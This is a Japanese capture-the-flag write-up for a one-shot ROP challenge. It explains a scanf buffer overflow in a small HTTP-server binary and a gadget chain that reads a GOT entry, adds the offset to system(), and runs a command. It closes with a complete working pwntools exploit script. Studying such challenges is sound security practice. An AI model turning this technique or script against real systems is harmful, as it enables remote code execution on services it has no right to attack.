TL;DR

  • ワンショットでフラグを入手しなくてはならないROP
  • GOT経由でRW領域上にlibc中のアドレスを書き込み、そこにadd命令で加算する形でsystemのlibc中におけるアドレスを用意するようなROPを組む
  • 実行したいコマンドもRW領域に書き込む必要があるが、これにはscanfを利用する

Prerequisite

  • ROP: 下記に示すように簡単な問題ではあまり使われないガジェットも出てくる
    • addによるアドレスの加算
    • JOP

Writeup

HTTPサーバのようなプログラムのC言語コードとそれをコンパイルしたバイナリ、加えてそれとの通信を仲介するためのプロキシが与えられる。バイナリをchecksecした結果は次の通り1

    Arch:     amd64-64-little
    RELRO:    Full RELRO
    Stack:    No canary found
    NX:       NX enabled
    PIE:      No PIE (0x400000)

プロキシのコードは次のようになっている。

#!/usr/bin/python3

from time import sleep
from sys import stdin, stdout, exit
from socket import *

LIMIT = 4096

buf = b''
while True:
  s = stdin.buffer.readline()
  buf += s

  if len(buf) > LIMIT:
    print('You are too greedy')
    exit(0)

  if s == b'\n':
    break

p = socket(AF_INET, SOCK_STREAM)
p.connect(("localhost", 11452))
p.sendall(buf)

sleep(2)

p.setblocking(False)
res = b''
try:
  while True:
    s = p.recv(1024)
    if not s:
      break
    res += s
except:
  pass

stdout.buffer.write(res)

HTTPサーバのコードは100行を超えて長いので各自見ていただくとして(例によって一番下で問題ファイルのリンクを載せている)、次に示すようにhttp_receive_request()関数においてscanf()による任意長の入力を許しているという自明なBOFが存在する。

char* http_receive_request() {
  long long int read_limit = 4096;

  connect_mode = -1;

  char buffer[BUFFERSIZE] = {};
  scanf("%[^\n]", buffer);
  getchar();
  
  if (memcmp(buffer, "GET ", 4) != 0) return NULL;

それならただのROPで「libc leak -> ret2main -> リターンアドレス書き換え」のように行けてしまうような気がするが、プロキシによってなんと「1回」しか送信が出来ない。したがってこの問題は1回のROPでlibc leak (といってもアドレスを知ることは叶わない) と任意コード実行を行う必要がある。

通常の簡単なROPにおいても、やっていることはlibc leakしてそこにアドレスの差分を足し引きして実行したいアドレスにしているだけであり、これをメモリ上だけで行えないかを考えてみる。

ELFでは.bssや.dataのようなセクションの為にReadbleかつWritableな領域(以下、RW領域)が存在することから、GOTからどうにかしてRW領域にlibc中のアドレスを書き込み、それをadd命令で加算して、その結果を読んでからどうにかしてRIPに設定するという方針にする。そのためにROPガジェットを頑張って探す2

まず任意アドレスに対するraxへの読み込みが出来るガジェットとして0x400b7dに存在するmov rax, qword ptr [rbp - 8] ; add rsp, 0x10 ; pop rbp ; retを用いる。rbpは(このガジェットの末尾にもあるが) pop rbp; retのようなガジェットで任意の値に設定可能なので読みたいアドレスより8大きいだけの値にすることで任意のアドレスの値をraxに設定出来る。

続いて任意アドレスに対してraxの値を書き込めるガジェットを探す。これは0x400caeにあるmov qword ptr [rbp - 0x30], rax ; jmp 0x400cc1 -> jmp 0x400cc6 -> add rsp, 0x30 ; pop rbp ; retを用いた。jmpが連続するが、最終的に良い感じのROPガジェットに落ち着く。既にrbpは任意の値に出来る事を言っているので書き込みたいアドレスより0x30だけ多い値を設定すればraxの値をそこへ書き込むことが出来る。

この2つを利用して、適当な関数(今回はsetbufを使った)のGOTからlibc中におけるsetbufのアドレスをraxに読み出し、ELF中のアドレスが既知であるRW領域(0x602200を使った)に書き込んだ。

任意アドレスの値に対する加算用のガジェットしては0x400888に存在するadd dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; retを用いる。ebxについては0x4010caにあるpop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; retを利用することでrbxを任意の値に設定出来ることから、加算したい値があるアドレスに0x3d足したものをrbpに、足したい値をrbxに設定することで、加算が実現できる。

先程RW領域に書き込んだsetbufのlibcにおけるアドレスとsystemのlibcにおけるアドレスとの差分は手元で事前に計算できるので先に計算しておき、このガジェットでそれを加算してsystemのlibc中におけるアドレスを計算した。

こうして出来上がった値をどうRIPに設定するかであるが、jmp raxが0x400821に存在するので先程のraxへの任意アドレス読み込み用のガジェットと併せて用いることでRIPとすることが出来る。

残すはsystemで実行したいコマンド(ここでは"/bin/ls"や"/bin/cat <flag filename>")のための任意の「値」書き込み用のガジェットだが、これは頑張って探してもなかなか出てこなかったのでWriteupをカンニングした結果、scanfが使える事が発覚した。

scanf("%[^\n]", buffer);によって、改行まではbufferに読み込まれてROPに使われる。ここでもう一度scanf("%[^\n]", buffer);をすると、stdinに残っている改行コードが読まれて、特に何もbufferに読み込まず終わり、何の意味もなさないように思えるが、実は最初のscanf()の後にはgetchar()が存在し、ここで改行が食われる。よって、もう一度scanf("%[^\n]", buffer);を呼ぶことでROP用のペイロードの後ろに改行を挟んでくっつけたデータを読み込むことが出来る。

なお、scanf()は引数を2つとるのでrdirsi用のガジェットが必要になるが、これはpop rdi ; retpop rsi ; pop r15 ; retという形で存在する。

実行したいコマンドの書き込み先は先程同様にアドレスが既知のRW領域で良い。これでここのアドレスをpop rdi ; retrdiに設定すれば無事にsystem(<cmd>)が実行される。

Code

※プロキシを挟まず素のバイナリでワンショット決めただけ

from pwn import process, ELF, p64, remote


def dump_addrdict(d):
    for k, v in d.items():
        print(k, hex(v))


elf = ELF("./carot")
libc = ELF("./libc-2.31.so")  # same as my `Ubuntu 20.04` environment

gadgets = {
    "rdi":     0x4010d3,
    "rsi":     0x4010d1,  # pop rsi ; pop r15 ; ret
    "rbx":     0x4010ca,  # pop rbx ; pop rbp ; pop r12 ; pop r13 ; pop r14 ; pop r15 ; ret
    "rbp":     0x400828,
    "ret":     0x4006d6,
    "aar_rax": 0x400b7d,  # mov rax, qword ptr [rbp - 8] ; add rsp, 0x10 ; pop rbp ; ret -> add rsp 0x10の処理の為にゴミが2つ必要
    "aaw_rax": 0x400cae,  # mov qword ptr [rbp - 0x30], rax ; jmp 0x400cc1 -> jmp 0x400cc6 -> add rsp, 0x30 ; pop rbp ; ret
    "add":     0x400888,  # add dword ptr [rbp - 0x3d], ebx ; nop dword ptr [rax + rax] ; ret
    "jmp_rax": 0x400821,  # jmp rax
}

addrs = {
    "scanf": elf.plt.__isoc99_scanf,
    "libc_setbuf": libc.symbols.setbuf,
    "libc_memcmp": libc.symbols.memcmp,
    "libc_scanf": libc.symbols.__isoc99_scanf,
    "libc_getchar": libc.symbols.getchar,
    "libc_system": libc.symbols.system,
    "libc_execve": libc.symbols.execv,
    "cmd_written": 0x602100,
    "libc_written": 0x602200,
    "scanf_arg": 0x4012f0,
    "setbuf_got": elf.got.setbuf,
    "onegadgets": 0xe6e73,
}

# cmd = b"/bin/ls"
cmd = b"/bin/cat flag.txt"

dump_addrdict(addrs)

sc = process(["./carot"])
# sc = remote("localhost", 11451)

# print("[+] setting breakpoints: b *0x400fe3")
# input("[+] waiting...")
# print("[+] Done")

diff = addrs["libc_system"] - addrs["libc_setbuf"]

payload = b"a" * 536
payload += p64(gadgets["rdi"])
payload += p64(addrs["scanf_arg"])
payload += p64(gadgets["rsi"])
payload += p64(addrs["cmd_written"])
payload += p64(0)
payload += p64(addrs["scanf"])
payload += p64(gadgets["rbp"])
payload += p64(addrs["setbuf_got"] + 8)
payload += p64(gadgets["aar_rax"])
payload += p64(0)
payload += p64(0)
payload += p64(addrs["libc_written"] + 0x30)
payload += p64(gadgets["aaw_rax"])
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(gadgets["rbx"])
payload += p64(diff % 2**64)
payload += p64(addrs["libc_written"] + 0x3d)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(gadgets["add"])
payload += p64(gadgets["rbp"])
payload += p64(addrs["libc_written"] + 8)
payload += p64(gadgets["aar_rax"])
payload += p64(0)
payload += p64(0)
payload += p64(0)
payload += p64(gadgets["rdi"])
payload += p64(addrs["cmd_written"])
payload += p64(gadgets["ret"])
payload += p64(gadgets["jmp_rax"])

payload += b"\n" + cmd


# writable 0x602000-0x603000
# ROPの流れ
# 1. "/bin/ls"をRWな領域に書き込む(scanfを使う)
# 2. RWな領域にlibcのアドレスが既に入っているどこかのGOTをaar_raxとaaw_raxで召喚する
# 3. add gadgetでそいつを加算し、libc@systemのアドレスとする
# 4. aar_raxでraxにそのアドレスを格納する
# 5. 引数を用意してjmp raxでsystemを発火する

with open("./payload.txt", "wb") as f:
    f.write(payload)

sc.sendline(payload)
sc.interactive()

Flag

ローカルでやっただけ

(だが、この問題のフラグは問題のポート番号と併せて一度見ておく事を推奨(?) する)

Resources


1

最初Full RELROを見逃してGOT Overwriteで解こうとして失敗した、昨日の問題に引っ張られ過ぎである

2

今回はROPgadget.pyを用いた。デフォルトだとpop rbx用のガジェットが出てきてくれなかったので--depth=20オプションを付けたら生えてきた